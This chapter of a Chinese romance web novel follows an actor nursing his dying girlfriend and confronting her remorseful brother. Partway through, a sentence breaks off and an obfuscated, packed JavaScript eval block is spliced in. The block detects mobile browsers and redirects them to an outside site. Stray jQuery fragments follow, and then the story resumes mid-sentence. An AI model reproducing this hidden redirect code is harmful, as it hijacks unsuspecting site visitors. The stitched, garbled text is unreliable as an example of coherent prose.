“等你好起来，我们就去青溪镇看老槐树开花。”陆泽言削着苹果，果皮连成一条长长的线，像他给她编的红绳戒指，“那时候槐花开得正盛，落下来能埋到脚踝，我们就在树下铺块布，你弹琴，我给你念新写的剧本。”他说得眉飞色舞，苹果皮突然断了，他“哎呀”一声，像个做错事的孩子，赶紧把断口对齐。


    林溪摇摇头，眼泪却先一步涌了上来，像青溪镇梅雨季的雨，来得猝不及防。“不行。”她的声音带着浓重的鼻音，把脸埋进被子里，被子上还留着他昨晚洗过的皂角香，“《京华烟云》是你正式成为演员的第一步，你不能放弃。”她想起21世纪娱乐周刊上的报道，说他凭借这部剧的男三号崭露头角，记者拍的照片里，他穿着民国长衫，站在红墙下，眼神亮得像现在窗外的月光。


    陆泽言放下水果刀，用湿毛巾擦了擦手，掌心的薄茧蹭过毛巾，发出沙沙的响。他握住她的手，红绳戒指在灯光下硌着皮肤，石头上的刻痕被摩挲得发亮。“没了你，什么都是空谈。”他的拇指在她手背上的输液针孔周围轻轻打圈，那里还留着淡淡的青紫色，“我答应过要陪着你，一起实现我们的梦想——你的钢琴要弹给更多人听，我的剧本里要有你的名字，这些都不能少了主角。”


    窗外的月光不知何时爬了进来，把病房镀上一层薄薄的银辉。林溪望着输液管里缓缓滴落的药水，每一滴都像砸在心上，泛起酸涩的涟漪。她突然生气了，猛地抽回手，背对着他，肩膀微微颤抖，像只受了委屈的小兽。


    陆泽言叹了口气，声音轻得像怕惊扰了琴房里的月光。他从身后轻轻抱住她，胸膛贴着她的后背，温热的体温透过病号服渗进来，像他总揣在怀里的热水袋。“你听我说，”他的手掌覆在她的肩膀上，带着不容拒绝的力道，指腹还沾着苹果的清香，“人生有很多选择，但有些事没有如果。我不能眼睁睁看着你一个人扛着所有痛苦，而我却在镜头前说‘我爱你’——那样的台词，我念不出口，太假。”


    他的声音低沉沙哑，像是压抑了许久的情绪终于找到了出口，紧张的把“假”念成了“甲”，却比任何标准普通话都动听。林溪咬着嘴唇，眼泪顺着脸颊滑落，打湿了枕头的一角。她想反驳，可喉咙像被什么堵住了一样发不出声音，只能任由他抱着，感受着他胸腔里有力的心跳。


    “别哭了。”陆泽言伸手擦掉她的眼泪，指尖粗糙却格外温柔，带着常年练台词磨出的薄茧，“等你好起来，我们就去实现那些约定。不只是老槐树开花，还有你的音乐比赛——周教授说你的《月光奏鸣曲》能拿奖；还有我们的小屋，要刷成白墙，窗外种梧桐树；我还要在床头给你安个小台灯，你熬夜改乐谱时就开着。”


    接下来的几天，林溪没再搭理他。他给她削苹果，她就推到一边，看着果肉慢慢氧化成褐色；他给她念剧本，她就闭上眼睛装睡。陆泽言也不恼，只是变着法子逗她开心。


    只是林溪的病没有什么起色，药液一滴一滴地注入她的身体，却似乎无法驱散她心底的阴霾。陆泽言看在眼里，疼在心里，他知道自己不能替她承受这一切，只能默默守候在一旁，像守护着一朵脆弱的花。


    陆泽言站起身，眼睛里布满血丝，却笑得露出两颗小虎牙。“我答应你继续拍《京华烟云》，”他红着眼圈，像只被雨水淋湿的小狗，“但是你要好好对待自己的身体，按时吃药，疼了就给我打电话，不许硬撑着，好不好？”


    林溪愣住了，眼眶里的泪水越积越多，像雨后的池塘，快要溢出来。她张了张嘴，想说些什么，却发现自己连一个字都说不出。陆泽言从口袋里掏出个小本子，上面记着密密麻麻的拍摄日程：“导演同意让我调整时间，每天拍完戏就赶回来，车程两个小时，我算过了，能陪你吃晚饭。”他指着其中一页，上面画着个小小的闹钟，旁边写着“给溪溪热牛奶”，“你看，我都计划好了，不会耽误的。”


    他的手指还在微微颤抖，像是做了个艰难的决定，却努力装作轻松。林溪终于忍不住哭出声来，双手捂住脸，肩膀一耸一耸地颤抖着。陆泽言把她搂进怀里，轻轻拍着她的背，就像高三那年她数学考砸了，他在操场边哄她那样。“你别这样，”他的声音沙哑得厉害，每一个字都像是从胸腔里硬挤出来的，“我真的会心疼，比导演骂我时还疼。”


    窗外的月光透过走廊的窗户洒进来，在地上投下一道道细长的影子，像是谁不小心打翻了一盒银线。林溪抬起头，看着他疲惫的脸，眼下的乌青比任何时候都重，下巴上又冒出了青色的胡茬，却在看到她的目光时，努力挤出个笑容。


    “可是……”林溪刚开口，就被他用手指按住了嘴唇，指尖带着淡淡的烟草味。


    “没有可是。”他握住她的手，眼神认真得近乎执拗，像在话剧团排“诀别”戏时，说“我会回来”的表情，“我们早就说好了，要一起面对所有困难。”


    林溪的鼻子又是一阵酸涩，眼泪再次模糊了视线。她用力点了点头，把脸埋进他的胸口，听着他略显急促的心跳声，仿佛整个世界都安静了下来，只剩下这一刻的温暖和安心。


    林溪的病情恶化得像京城的秋雨，说来就来，带着不容分说的寒意。那天陆泽言刚拍完《京华烟云》里淋雨的戏，民国长衫吸饱了人造雨，冻得他牙齿打颤，手机就在这时疯狂震动起来——是医院的号码，屏幕上裂掉的纹路里还沾着怀柔的黄土。


    “你是林溪的家属吗？”护士的声音透过电流传来，带着金属摩擦般的刺耳，“病人刚又疼晕过去了，已经出现感染中毒的现象，你们最好……做好心理准备。”


    陆泽言的手猛地一抖，手机差点掉进泥水里。他顾不上导演在身后喊“补拍一个镜头”，拽掉头上的瓜皮帽就往停车场跑，皮鞋踩在积水里，溅起的水花打湿了裤脚。出租车司机被他催得猛踩油门，仪表盘的指针晃得像要飞出去，他却觉得车开得比蜗牛还慢，手指把林溪织的围巾攥得变了形，毛线的纹路里还留着她指尖的温度。


    病房的门被撞开时，林溪刚从抢救室推出来，脸色白得像宣纸，嘴唇干裂起皮，连呼吸都带着微弱的起伏。医生正在跟护士长交代病情，声音压得很低，却还是钻进了陆泽言的耳朵：“保守治疗已经没用了，通知家属吧，别留遗憾。”


    他的腿突然软了，扶着墙才没摔倒，墙上的白漆被蹭掉一小块，露出里面灰色的水泥，像他此刻的心，被生生剜去了一块。口袋里的手机硌着肋骨，他摸出来时才发现，屏幕上还停留在给林溪发的短信界面：“等我回去给你带怀柔的栗子，糖炒的，你爱吃的那种。”


    窗外的雨越下越大，敲打着玻璃，像在数着剩下的日子。陆泽言蹲在病床边，握住林溪冰凉的手，她的指尖已经开始发绀，红绳戒指松松地挂在无名指上，随时都可能滑下来。他把戒指往上推了推，指腹蹭过石头上的刻痕，“溪”字的三点水像三颗凝固的泪，早就没了温度。


    “溪溪，”他的声音沙哑得像被砂纸磨过，往她手心里哈着气，试图焐热那片冰凉，“我给叔叔阿姨打电话了，他们明天就到京城，沈阿姨做了你爱吃的葱油饼，用保温桶装着，不会凉的。”


    林溪的睫毛颤了颤，像风中残烛，却没能睁开眼。监护仪发出规律的“滴滴”声，每一声都像重锤敲在陆泽言心上，


    凌晨三点，沈曼青的电话打了进来，背景里有火车


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16329785|180507||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的轰鸣声。“溪溪怎么样了？”她的声音带着哭腔，断断续续的，“我跟你叔连夜坐的绿皮火车，还有三个小时就到京城站，你让溪溪再等等。”


    陆泽言捂住嘴，才没让哽咽声传过去。他看着病床上毫无起色的林溪，监护仪上的波形越来越平缓，像青溪镇干涸的河床。“她挺好的，”他撒谎时的声音在发抖，“刚喝了点小米粥，医生说……说情况在好转。”


    挂了电话，他靠着墙壁滑坐在地上，额头抵着冰冷的瓷砖，眼泪终于忍不住掉下来，砸在林溪的病号服上，洇出小小的湿痕。走廊尽头的窗户没关紧，秋风卷着雨丝灌进来，吹得他后颈发凉，像那年林浩踹在林溪肚子上时，她眼里瞬间熄灭的光。


    他继续给林浩打了电话。拨号的时候，手指抖得几乎按不准数字，那个烂熟于心的号码，此刻像条毒蛇，咬得他指尖发麻。电话响了七声才被接起，林浩的声音带着宿醉后的沙哑：“什么事？我明天还要开会。”


    “林溪快不行了。”陆泽言的声音平静得可怕，像暴风雨前的死寂，“医生说是……应该是那年你打的那一拳引发的腹膜炎，一直没好全，已经恶化，出现血压下降性休克和酸中毒的症状了。”


    电话那头沉默了足足有半分钟，然后是杯子摔碎的声音，接着是急促的喘息，像头濒死的野兽。“我马上过去。”林浩的声音突然拔高，带着从未有过的恐慌，“地址发我，我现在就过去！”


    陆泽言挂了电话，把脸埋进膝盖。他想起第一次在青溪镇见到林浩的样子，穿着京城大学的校服，站在老槐树下，把林溪护在身后，眼神里满是骄傲：“我妹妹以后要当钢琴家的。”谁能想到，这个口口声声说要保护妹妹的人，最后却成了伤害她最深的人。


    天快亮的时候，林浩跌跌撞撞地冲进病房。他的西装皱得像团咸菜，头发乱得像鸟窝，眼睛里布满血丝，看到病床上插满管子的林溪，突然就僵在原地，像被施了定身法。“溪溪……”他的声音抖得不成样子，伸手想去碰她的脸，却在半空中停住，手指蜷缩成拳，指甲深深嵌进掌心。


    监护仪的声音突然变得尖锐起来，林溪的呼吸急促得像破风箱。医生和护士涌进来，把林浩挤到一边，陆泽言看着他们给她插氧气管、打强心针，白大褂在眼前晃来晃去，像一群白色的蝴蝶，却带着死亡的气息。


    “让一让！都让一让！”护士长推着陆泽言往外走，他却像生了根，死死盯着病床上的林溪，直到她的呼吸重新平稳下来，监护仪的声音恢复正常，才被林浩拽到走廊。


    “对不起……”林浩的声音带着浓重的鼻音，突然给陆泽言鞠了个躬，九十度的弯腰，像根被压弯的芦苇，“是我混蛋，我不是人……”他的肩膀剧烈地颤抖着，“那次不该动手的……怎么会变成这样”


    陆泽言没说话，只是看着窗外的雨。雨停了，天边泛起鱼肚白。他想起林溪总说：“我哥其实很疼我，就是嘴硬。”可有些伤害，不是一句“对不起”就能抹平的，就像老墙上的裂缝，就算填上水泥，也永远留着痕迹。


    病房里传来林溪微弱的呻吟，陆泽言立刻冲了进去。她的眼睛半睁着，嘴唇动了动，像是在说什么。他凑过去，把耳朵贴在她嘴边，听到她用气声说：“想……回家……”


    “回青溪镇，是吗？”陆泽言握住她的手，眼泪掉在她手背上，“好，我们回青溪镇，等你好点了，我们就回去，看老槐树，吃葱油饼，好不好？”


    林溪的嘴角似乎向上扬了扬，然后又沉沉地睡了过去。陆泽言看着她苍白的脸，心里像被灌满了铅，重得喘不过气。他知道，回青溪镇可能是她最后的愿望了，无论多难，他都要帮她实现。